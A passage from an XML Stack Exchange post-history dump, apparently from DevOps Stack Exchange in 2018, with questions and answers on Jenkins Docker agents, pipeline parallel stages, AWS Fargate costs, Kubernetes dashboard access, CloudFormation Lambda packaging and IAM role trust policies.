org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:159)&#xD;&#xA;    		at org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:129)&#xD;&#xA;    		at org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:129)&#xD;&#xA;    		at com.cloudbees.groovy.cps.sandbox.SandboxInvoker.methodCall(SandboxInvoker.java:17)&#xD;&#xA;    		at com.cloudbees.groovy.cps.impl.ContinuationGroup.methodCall(ContinuationGroup.java:57)&#xD;&#xA;    		at com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.dispatchOrArg(FunctionCallBlock.java:109)&#xD;&#xA;    		at com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.fixArg(FunctionCallBlock.java:82)&#xD;&#xA;    		at sun.reflect.GeneratedMethodAccessor157.invoke(Unknown Source)&#xD;&#xA;    		at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xD;&#xA;    		at java.lang.reflect.Method.invoke(Method.java:498)&#xD;&#xA;    		at com.cloudbees.groovy.cps.impl.ContinuationPtr$ContinuationImpl.receive(ContinuationPtr.java:72)&#xD;&#xA;    		at com.cloudbees.groovy.cps.impl.ConstantBlock.eval(ConstantBlock.java:21)&#xD;&#xA;    		at com.cloudbees.groovy.cps.Next.step(Next.java:83)&#xD;&#xA;    		at com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:174)&#xD;&#xA;    		at com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:163)&#xD;&#xA;    		at org.codehaus.groovy.runtime.GroovyCategorySupport$ThreadCategoryInfo.use(GroovyCategorySupport.java:129)&#xD;&#xA;    		at org.codehaus.groovy.runtime.GroovyCategorySupport.use(GroovyCategorySupport.java:268)&#xD;&#xA;    		at com.cloudbees.groovy.cps.Continuable.run0(Continuable.java:163)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.SandboxContinuable.access$101(SandboxContinuable.java:34)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.SandboxContinuable.lambda$run0$0(SandboxContinuable.java:59)&#xD;&#xA;    		at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.GroovySandbox.runInSandbox(GroovySandbox.java:108)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.SandboxContinuable.run0(SandboxContinuable.java:58)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.CpsThread.runNextChunk(CpsThread.java:182)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.run(CpsThreadGroup.java:332)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.access$200(CpsThreadGroup.java:83)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:244)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:232)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.CpsVmExecutorService$2.call(CpsVmExecutorService.java:64)&#xD;&#xA;    		at java.util.concurrent.FutureTask.run(FutureTask.java:266)&#xD;&#xA;    		at hudson.remoting.SingleLaneExecutorService$1.run(SingleLaneExecutorService.java:131)&#xD;&#xA;    		at jenkins.util.ContextResettingExecutorService$1.run(ContextResettingExecutorService.java:28)&#xD;&#xA;    		at jenkins.security.ImpersonatingExecutorService$1.run(ImpersonatingExecutorService.java:59)&#xD;&#xA;    		at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)&#xD;&#xA;    java.nio.file.AccessDeniedException: /path/on/container&#xD;&#xA;    	at sun.nio.fs.UnixException.translateToIOException(UnixException.java:84)&#xD;&#xA;    	at sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:102)&#xD;&#xA;    	at sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:107)&#xD;&#xA;    	at sun.nio.fs.UnixFileSystemProvider.createDirectory(UnixFileSystemProvider.java:384)&#xD;&#xA;    	at java.nio.file.Files.createDirectory(Files.java:674)&#xD;&#xA;    	at java.nio.file.Files.createAndCheckIsDirectory(Files.java:781)&#xD;&#xA;    	at java.nio.file.Files.createDirectories(Files.java:767)&#xD;&#xA;    	at hudson.FilePath.mkdirs(FilePath.java:3271)&#xD;&#xA;    	at hudson.FilePath.access$1300(FilePath.java:211)&#xD;&#xA;    	at hudson.FilePath$Mkdirs.invoke(FilePath.java:1252)&#xD;&#xA;    	at hudson.FilePath$Mkdirs.invoke(FilePath.java:1248)&#xD;&#xA;    	at hudson.FilePath$FileCallableWrapper.call(FilePath.java:3084)&#xD;&#xA;    	at hudson.remoting.UserRequest.perform(UserRequest.java:212)&#xD;&#xA;    	at hudson.remoting.UserRequest.perform(UserRequest.java:54)&#xD;&#xA;    	at hudson.remoting.Request$2.run(Request.java:369)&#xD;&#xA;    	at hudson.remoting.InterceptingExecutorService$1.call(InterceptingExecutorService.java:72)&#xD;&#xA;    	at java.util.concurrent.FutureTask.run(FutureTask.java:266)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;The path on the container is a docker volume and the containers are all running with -u root, so I'm not entirely sure why I'm getting an AccessDenied. The only thing I can think is that, because of the previous &quot;Remote call to DockerHostNode&quot;, it's trying to access `/path/on/container` which doesn't exist of the node itself. Any ideads? Here's the full error text:&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16050" PostHistoryTypeId="1" PostId="5084" RevisionGUID="6667996d-c8ca-48ec-9980-88cf2b02bbc1" CreationDate="2018-09-28T21:22:05.377" UserId="9148" Text="Is there an alternative to the Jenkins dir() to change to a directory on a Docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16051" PostHistoryTypeId="3" PostId="5084" RevisionGUID="6667996d-c8ca-48ec-9980-88cf2b02bbc1" CreationDate="2018-09-28T21:22:05.377" UserId="9148" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16052" PostHistoryTypeId="5" PostId="5074" RevisionGUID="8d1d95ca-110f-4787-9563-9168943d796d" CreationDate="2018-09-28T23:46:13.470" UserId="8800" Comment="How to spin up 100 containers" Text="Look at **[AWS Fargate][1]** - it lets you run your Docker containers without having to spin up the EC2 instances for an ECS cluster. You simply schedule the Tasks (or Services), each gets is own IP address and they can talk to each other. &#xD;&#xA;&#xD;&#xA;You can also use **[AWS Service Discovery][2]** to facilitate the registration and lookup of the tasks' IP addresses.&#xD;&#xA;&#xD;&#xA;BTW Note that the default Fargate concurrency limit is 20 Tasks/Services - if you need 100 of them you'll have to raise a Service Limit increase support ticket. &#xD;&#xA;&#xD;&#xA;We've got it raised to 200 concurrent tasks because our processing runs 160+ containers in parallel, all on Fargate without a single EC2 to manage. &#xD;&#xA;&#xD;&#xA;### Update - how to spin up 100 containers&#xD;&#xA;&#xD;&#xA;I can tell you how *we* do it with Fargate - in our CI/CD pipeline we build the container image and upload to ECR. Part of the source is also a *CloudFormation (CFN) template* and in the *Deployment* stage of the pipeline we create/update CFN stack which creates **ECS TaskDefinition** with all the container parameters. &#xD;&#xA;&#xD;&#xA;Then we've got a *scheduler* job written in Python and triggered by **CloudWatch Event** (cron-like scheduler) that looks up the *TaskDefinition ARN* and runs 160+ *Tasks* from that single TaskDef. You can give each Task an extra parameter, or override some config, etc. Or not and just spin it up.&#xD;&#xA;&#xD;&#xA;We used to use EC2/ECS and had to do an extra step first - *scale out* the ECS AutoScaling group to tens of nodes to support our workload and then at the end scale it back in to 0. Other than that it's the same whether you run it on Fargate or on EC2/ECS.&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/fargate/&#xD;&#xA;  [2]: https://aws.amazon.com/blogs/aws/amazon-ecs-service-discovery/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16053" PostHistoryTypeId="2" PostId="5085" RevisionGUID="2ffae7de-a6ef-40cf-a92b-05867a393802" CreationDate="2018-09-29T00:06:38.750" UserId="8800" Text="Fargate is more expensive than EC2 for the same vCPU/RAM amount.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;* [m5.large][1] (2 vCPU, 8 GB RAM) costs $0.096/hr which is ca $69.12/month&#xD;&#xA;* [Fargate container][2] with 2vCPU and 8 GB RAM costs $0.2028/hr or $146.02/month&#xD;&#xA;&#xD;&#xA;If you want to run your container 24x7 you'll be much better off running it on an EC2 instance.&#xD;&#xA;&#xD;&#xA;However if your containers only run briefly to complete a task and then exit, or if they scale up and down based on demand it will be much easier for you to run them in Fargate - you won't need to scale up and down the underlying EC2 cluster to support the load.&#xD;&#xA;&#xD;&#xA;With Fargate you pay premium for the flexibility. &#xD;&#xA;&#xD;&#xA;In many cases it works out better to run on Fargate even if it's more expensive - we spin up batches of hundreds of containers at a time a couple times per day for some processing and each container runs for only about 10 minutes. If we had to scale up the EC2/ECS cluster before each run, wait for it to settle, deal with the failures, then run our batch job and then scale down again the overhead would be quite high and our batch processing would take much longer. &#xD;&#xA;&#xD;&#xA;Here Fargate works great for us. I wouldn't use it for an always-on service though.&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ec2/pricing/on-demand/&#xD;&#xA;  [2]: https://aws.amazon.com/fargate/pricing/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16054" PostHistoryTypeId="50" PostId="4023" RevisionGUID="95f233f5-7f96-40d1-b77e-04f19120f26e" CreationDate="2018-09-29T02:00:15.563" UserId="-1" />
  <row Id="16058" PostHistoryTypeId="2" PostId="5086" RevisionGUID="11bbd3c6-ac95-4fa5-8e09-83e6f955ca10" CreationDate="2018-09-29T15:21:02.407" UserId="156" Text="I've been using a Jenkins pipeline with a parallel step for testing like this:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent { label 'php' }&#xD;&#xA;        stages {&#xD;&#xA;            stage('build') {&#xD;&#xA;                steps {&#xD;&#xA;                    ...&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('test') {&#xD;&#xA;                parallel {&#xD;&#xA;                    stage('unit tests') {&#xD;&#xA;                        steps {&#xD;&#xA;                            ...&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                    stage('integration tests') {&#xD;&#xA;                        steps {&#xD;&#xA;                            ...&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('deploy') {&#xD;&#xA;                steps {&#xD;&#xA;                    ...&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The pipeline runs fine on a single agent, but now I want to add a step with manual input, which should not keep the agent running. The agents are cloud servers that get started and stopped on demand.&#xD;&#xA;&#xD;&#xA;To do so, I assigned &quot;none&quot; agent to the pipeline and the actual agent to all stages but the one requesting input:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent none&#xD;&#xA;        stages {&#xD;&#xA;            stage('build') {&#xD;&#xA;                agent { label 'php' }&#xD;&#xA;                steps {&#xD;&#xA;                    ...&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('test') {&#xD;&#xA;                parallel {&#xD;&#xA;                    stage('unit tests') {&#xD;&#xA;                        agent { label 'php' }&#xD;&#xA;                        steps {&#xD;&#xA;                            ...&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                    stage('integration tests') {&#xD;&#xA;                        agent { label 'php' }&#xD;&#xA;                        steps {&#xD;&#xA;                            ...&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('deploy staging') {&#xD;&#xA;                agent { label 'php' }&#xD;&#xA;                steps {&#xD;&#xA;                    ...&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('confirm release') {&#xD;&#xA;                steps {&#xD;&#xA;                    input { message 'release?' }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('deploy production') {&#xD;&#xA;                agent { label 'php' }&#xD;&#xA;                steps {&#xD;&#xA;                    ...&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Artifacts that are needed in a following stage are carried over with `stash` and `unstash`. This works, but with two nuisances:&#xD;&#xA;&#xD;&#xA;1. Stashing and unstashing between each single stage causes overhead. I would rather have all stages until the manual input executed in a single workspace. But `agent` is only allowed in stages that contain steps.&#xD;&#xA;2. Each parallel stage blocks a single agent. So if there is only one free agent, there is no parallel execution, unlike before.&#xD;&#xA;&#xD;&#xA;I can live with (1) if it's not possible otherwise, but parallel execution on one agent is important for me. Is it possible somehow in my current setup? If not, what are my options to achieve something similar?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16059" PostHistoryTypeId="1" PostId="5086" RevisionGUID="11bbd3c6-ac95-4fa5-8e09-83e6f955ca10" CreationDate="2018-09-29T15:21:02.407" UserId="156" Text="Parallel stages running on same agent in Jenkins declarative pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="16060" PostHistoryTypeId="3" PostId="5086" RevisionGUID="11bbd3c6-ac95-4fa5-8e09-83e6f955ca10" CreationDate="2018-09-29T15:21:02.407" UserId="156" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16061" PostHistoryTypeId="2" PostId="5087" RevisionGUID="a3344fd2-8f6a-4f42-a91c-c9ed597dccae" CreationDate="2018-09-29T15:34:48.260" UserId="10096" Text="I have installed Kubernetes using AWS Minikube scripts - https://github.com/scholzj/aws-minikube&#xD;&#xA;&#xD;&#xA;After installation I am trying to run&#xD;&#xA;&#xD;&#xA;    kubectl proxy&#xD;&#xA;&#xD;&#xA;But I am getting this&#xD;&#xA;&#xD;&#xA;&gt;  https:kubernetes-dashboard:\&quot; is forbidden: User \&quot;system:anonymous\&quot;&#xD;&#xA;&gt; cannot get services/proxy in the namespace \&quot;kube-system\&quot;&#xD;&#xA;&#xD;&#xA;I am not even able to list pods because I do not have valid tokens with system.master role. I have no idea how can I create some user or token and authetificate when there is not admin user on system present yet.&#xD;&#xA;&#xD;&#xA;Can you please explain to me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16062" PostHistoryTypeId="1" PostId="5087" RevisionGUID="a3344fd2-8f6a-4f42-a91c-c9ed597dccae" CreationDate="2018-09-29T15:34:48.260" UserId="10096" Text="Kubernetes - unable to login to Dashboard" ContentLicense="CC BY-SA 4.0" />
  <row Id="16063" PostHistoryTypeId="3" PostId="5087" RevisionGUID="a3344fd2-8f6a-4f42-a91c-c9ed597dccae" CreationDate="2018-09-29T15:34:48.260" UserId="10096" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16064" PostHistoryTypeId="50" PostId="1877" RevisionGUID="aad74b49-3cba-4aad-b607-02f49db5db55" CreationDate="2018-09-29T22:00:39.547" UserId="-1" />
  <row Id="16065" PostHistoryTypeId="2" PostId="5088" RevisionGUID="a94382ef-2c5f-4979-a3a2-10aa1b34fc02" CreationDate="2018-09-29T23:21:50.017" UserId="8469" Text="Your master is running as Jenkins user. If yes , you should make a user in the docker image which you use as to create your node and do the key exchange. Please let me know if it worked for you. Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="16066" PostHistoryTypeId="5" PostId="5088" RevisionGUID="0a1c9a72-f372-4735-8120-d8f8cfe94811" CreationDate="2018-09-30T06:29:20.093" UserId="739" Comment="copy editing" Text="Is your master is running as Jenkins user? If yes, you should make a user in the docker image which you use as to create your node and do the key exchange. For example `jenkins `user with same UID needs to exist on bot master and node docker container." ContentLicense="CC BY-SA 4.0" />
  <row Id="16067" PostHistoryTypeId="24" PostId="5088" RevisionGUID="0a1c9a72-f372-4735-8120-d8f8cfe94811" CreationDate="2018-09-30T06:29:20.093" Comment="Proposed by 739 approved by -1 edit id of 795" ContentLicense="CC BY-SA 4.0" />
  <row Id="16068" PostHistoryTypeId="5" PostId="5088" RevisionGUID="15ec6429-b5a0-451d-b53c-303b626fb40d" CreationDate="2018-09-30T06:29:20.093" UserId="40" Comment="deleted 8 characters in body" Text="If your master is running as Jenkins user, you should make a user in the docker image which you use as to create your node and do the key exchange. For example `jenkins `user with same UID needs to exist on bot master and node docker container." ContentLicense="CC BY-SA 4.0" />
  <row Id="16069" PostHistoryTypeId="2" PostId="5089" RevisionGUID="c66e9015-50b4-4d1c-ab67-1aaaa43732b0" CreationDate="2018-09-30T10:04:17.653" UserId="10104" Text="I'm exercising an idea of not using S3 bucket to refer to the code of a lambda function.&#xD;&#xA;&#xD;&#xA;The usual example of a lambda CloudFormation code might look like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        MyLambda:&#xD;&#xA;            Type: AWS::Lambda::Function&#xD;&#xA;            Properties:&#xD;&#xA;            FunctionName: hello&#xD;&#xA;            Handler: index.handler&#xD;&#xA;            Runtime: nodejs8.10&#xD;&#xA;            Role: !GetAtt LambdaExecutionRole.Arn&#xD;&#xA;            Code:&#xD;&#xA;                ZipFile: |&#xD;&#xA;                &lt;can we &quot;inject&quot; the code and/or binary here?&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But what I would like to do instead is:&#xD;&#xA;&#xD;&#xA;- inject that code from the file system, after potentially running my (unit) tests against that code;&#xD;&#xA;- maybe even just inject a compiled binary instead of actual code;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It is [possible to do similar][1] using CLI (create a zip manually, refer to it). I understand that CloudFormation changes would be running on the AWS infrastructure and not locally or a build server, so I'm open to other non-CloudFormation options.&#xD;&#xA;&#xD;&#xA;So my question is - what is the best way to deploy the AWS functions sticking to &quot;infrastructure as code&quot;, preferably sticking with CloudFormation. Or is S3 + CloudFormation really the best option?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/lambda/latest/dg/lambda-go-how-to-create-deployment-package.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16070" PostHistoryTypeId="1" PostId="5089" RevisionGUID="c66e9015-50b4-4d1c-ab67-1aaaa43732b0" CreationDate="2018-09-30T10:04:17.653" UserId="10104" Text="How to &quot;inject&quot; AWS Lambda code into a CloudFormation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16071" PostHistoryTypeId="3" PostId="5089" RevisionGUID="c66e9015-50b4-4d1c-ab67-1aaaa43732b0" CreationDate="2018-09-30T10:04:17.653" UserId="10104" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;infrastructure-as-code&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16072" PostHistoryTypeId="6" PostId="1090" RevisionGUID="a3e922a3-15cb-4398-910f-ebea813c200b" CreationDate="2018-09-30T14:52:24.093" UserId="228" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;conferences&gt;&lt;transformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16074" PostHistoryTypeId="5" PostId="5087" RevisionGUID="841c7b2f-1d20-4a8b-b078-022510118054" CreationDate="2018-09-30T17:35:55.083" UserId="739" Comment="formatting and spelling" Text="I have installed Kubernetes using AWS Minikube scripts - https://github.com/scholzj/aws-minikube&#xD;&#xA;&#xD;&#xA;After installation I am trying to run&#xD;&#xA;&#xD;&#xA;    kubectl proxy&#xD;&#xA;&#xD;&#xA;But I am getting this&#xD;&#xA;&#xD;&#xA;&gt;  https:kubernetes-dashboard:\&quot; is forbidden: User \&quot;system:anonymous\&quot;&#xD;&#xA;&gt; cannot get services/proxy in the namespace \&quot;kube-system\&quot;&#xD;&#xA;&#xD;&#xA;I am not even able to list pods because I do not have valid tokens with `system.master` role. I have no idea how can I create a user or token and authenticate when there is no `admin` user present on the system yet.&#xD;&#xA;&#xD;&#xA;Can you please explain to me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16075" PostHistoryTypeId="24" PostId="5087" RevisionGUID="841c7b2f-1d20-4a8b-b078-022510118054" CreationDate="2018-09-30T17:35:55.083" Comment="Proposed by 739 approved by -1 edit id of 796" ContentLicense="CC BY-SA 4.0" />
  <row Id="16076" PostHistoryTypeId="5" PostId="5087" RevisionGUID="932862b0-65b6-4e2d-8ce5-5550dd2b66c2" CreationDate="2018-09-30T17:35:55.083" UserId="40" Comment="edited body" Text="I have installed Kubernetes using AWS Minikube scripts - https://github.com/scholzj/aws-minikube&#xD;&#xA;&#xD;&#xA;After installation I am trying to run&#xD;&#xA;&#xD;&#xA;    kubectl proxy&#xD;&#xA;&#xD;&#xA;But I am getting this&#xD;&#xA;&#xD;&#xA;&gt;  https:kubernetes-dashboard:\&quot; is forbidden: User \&quot;system:anonymous\&quot;&#xD;&#xA;&gt; cannot get services/proxy in the namespace \&quot;kube-system\&quot;&#xD;&#xA;&#xD;&#xA;I am not even able to list pods because I do not have valid tokens with `system.master` role. I have no idea how I can create a user or token and authenticate when there is no `admin` user present on the system yet.&#xD;&#xA;&#xD;&#xA;Can you please explain to me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16077" PostHistoryTypeId="34" PostId="5024" RevisionGUID="7a1f02aa-c9e6-4258-9e0f-3b783b581e99" CreationDate="2018-09-30T19:01:25.740" UserId="-1" Comment="26" />
  <row Id="16078" PostHistoryTypeId="50" PostId="4044" RevisionGUID="8983fe35-70a5-4920-9427-eb123d343320" CreationDate="2018-09-30T20:00:26.240" UserId="-1" />
  <row Id="16079" PostHistoryTypeId="2" PostId="5090" RevisionGUID="a1deeeb7-7e76-43dd-998e-86711a777464" CreationDate="2018-09-30T21:50:55.490" UserId="8800" Text="You've got a couple of options:&#xD;&#xA;&#xD;&#xA;### 1. Embed the source code to the CloudFormation template&#xD;&#xA;I do just that in my [ec2-start-stop][1] demo. You'll see file `ec2-start-stop.template.yml` with these lines:&#xD;&#xA;&#xD;&#xA;        StartStopLambda:&#xD;&#xA;          Type: AWS::Lambda::Function&#xD;&#xA;          Properties:&#xD;&#xA;            [...]&#xD;&#xA;            Runtime: python3.6&#xD;&#xA;            Code: &#xD;&#xA;              ZipFile:&#xD;&#xA;                Fn::Join:&#xD;&#xA;                [...]&#xD;&#xA;                -     &#xD;&#xA;                  - &quot;%%{ec2-start-stop.lambda.py}%%&quot;&#xD;&#xA;&#xD;&#xA;Then I've got the actual Python script referred in the `%%{ec2-start-stop.lambda.py}%%` and a simple `import-files.py` script that *somewhat intelligently* embeds the python file into the yaml file and creates a valid standalone CloudFormation template with the lambda code in it.&#xD;&#xA;&#xD;&#xA;Note that you're limited to 4096 bytes including new lines for your lambda code.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### 2. Use `aws cloudformation package / deploy`&#xD;&#xA;&#xD;&#xA;If you've got a more complex Lambda that needs external libraries or doesn't fit in the 4kB limit you can use `aws cloudformation package` and `aws cloudformation deploy` to facilitate the deployment to CI/CD.&#xD;&#xA;&#xD;&#xA;In this case your *Lambda resource* in the template points to a local directory, e.g. `lambda/`. The `package` command then zips up the contents of the directory, uploads to the provided *S3 Bucket* with a unique name and generates an updated CFN template with the link to the uploaded file. The `aws cloudformation deploy` command then takes the template, creates a *change set* and applies the changes, thus updating the Lambda.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I've used both methods in CI/CD pipelines and both work well because the source files are kept in separate files until deployment.&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/mludvig/ec2-start-stop" ContentLicense="CC BY-SA 4.0" />
  <row Id="16080" PostHistoryTypeId="5" PostId="5088" RevisionGUID="5acd865c-e238-4e59-9d96-5a703251af53" CreationDate="2018-09-30T23:21:00.510" UserId="8469" Comment="added 1 character in body" Text="If your master is running as Jenkins user, you should make a user in the docker image which you use as to create your node and do the key exchange. For example `jenkins `user with same UID needs to exist on both master and node docker container." ContentLicense="CC BY-SA 4.0" />
  <row Id="16083" PostHistoryTypeId="50" PostId="4404" RevisionGUID="98bd7995-49c4-49a0-aeb7-29d8e3bb4232" CreationDate="2018-10-01T07:00:19.877" UserId="-1" />
  <row Id="16087" PostHistoryTypeId="5" PostId="1011" RevisionGUID="ef0fd44c-7390-41d9-bc9c-20ea94f40e3b" CreationDate="2018-10-01T13:02:20.990" UserId="10110" Comment="Hyperlinked an answer mentioned." Text="Source: I'm a Platform Engineer, (though not in a strict DevOps sense).&#xD;&#xA;&#xD;&#xA;I manage Office 365 for my employer.  Particularly the Identity, Authentication, Messaging portions.  I don't build Exchange servers (under normal circumstances) but I do manage all changes in the service and &quot;own&quot; the platform.&#xD;&#xA;&#xD;&#xA;As [hvindin's answer][1] also calls out, I am equally responsible for evangelizing the platform I own as well as maintaining it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/1007/10110" ContentLicense="CC BY-SA 4.0" />
  <row Id="16088" PostHistoryTypeId="24" PostId="1011" RevisionGUID="ef0fd44c-7390-41d9-bc9c-20ea94f40e3b" CreationDate="2018-10-01T13:02:20.990" Comment="Proposed by 10110 approved by 13 edit id of 797" ContentLicense="CC BY-SA 4.0" />
  <row Id="16089" PostHistoryTypeId="2" PostId="5092" RevisionGUID="88b2f84f-97b3-4ebd-8447-0807e7cff83c" CreationDate="2018-10-01T17:41:28.220" UserId="4394" Text="Not a stupid question, but it's lacking details. If by stack you mean Terraform, Vault, Consul etc, then you would go about provisioning machines/VMs/containers for those services likely using some form of ansible or equivalent.&#xD;&#xA;&#xD;&#xA;It would be prudent to store those scripts in git or any other source control system.&#xD;&#xA;&#xD;&#xA;&gt; Like, for example, should I just be spinning up individual VMs to host each part of the HashiCorp stack? Should I be doing that instead using containers?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Personally, I find containers more flexible especially when upgrading/ testing. The only downside is you have to remember to mount a data volume into the container to persist any configuration data which would normally live beond the lifecycle of the container.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16090" PostHistoryTypeId="2" PostId="5093" RevisionGUID="4521c9a6-cbbf-47a2-858d-8773f166267a" CreationDate="2018-10-01T19:39:52.103" UserId="9148" Text="I could not achieve changing the working directory using the suggestion by Vishwas, although I did try creating a Jenkins user inside the container with the same uid as the host. It just didn't work for me. I did however, realize that I didn't actually need to change the directory on the container because the workspace was already in the container.&#xD;&#xA;&#xD;&#xA;I'm using the Docker Plugin from CloudBees. After reading their documentation, I realized the workstation folder I thought was on the host machine, was actually in the container. Part of the documentation stated:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; The above is a complete Pipeline script. inside will:&#xD;&#xA;&#xD;&#xA;&gt; 1. Automatically grab an agent and a workspace (no extra node block is required).&#xD;&#xA;&gt; 2. Pull the requested image to the Docker server (if not already cached).&#xD;&#xA;&gt; 3. Start a container running that image.&#xD;&#xA;&gt; 4. **Mount the Jenkins workspace as a &quot;volume&quot; inside the container, using the same file path.**&#xD;&#xA;&#xD;&#xA;After seeing item number four, I ran `docker container inspect &lt;containerID&gt;` and I saw the workspace `/home/jenkins/workspace` was actually a volume mount that was mapped to the `/home/jenkins/workspace` on the Docker host machine as well. Using this as my workspace, I was able to build the various applications within the container and then moved the results to a second volume used for application collection later in the pipeline. It's not an exact answer to my original question, but it works!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16091" PostHistoryTypeId="2" PostId="5094" RevisionGUID="c3ede7df-66dc-4513-8dea-293aebc90fbb" CreationDate="2018-10-01T20:15:17.697" UserId="8737" Text="I'm confused as to what the purpose of AssumeRolePolicyDocument is.  &#xD;&#xA;It seems like to create a role all you need is a parent name that you can attach policies to.&#xD;&#xA;It seems like AssumeRolePolicyDocument is that parent name but somehow there's more to it. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16092" PostHistoryTypeId="1" PostId="5094" RevisionGUID="c3ede7df-66dc-4513-8dea-293aebc90fbb" CreationDate="2018-10-01T20:15:17.697" UserId="8737" Text="What is the purpose of AssumeRolePolicyDocument in IAM?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16093" PostHistoryTypeId="3" PostId="5094" RevisionGUID="c3ede7df-66dc-4513-8dea-293aebc90fbb" CreationDate="2018-10-01T20:15:17.697" UserId="8737" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
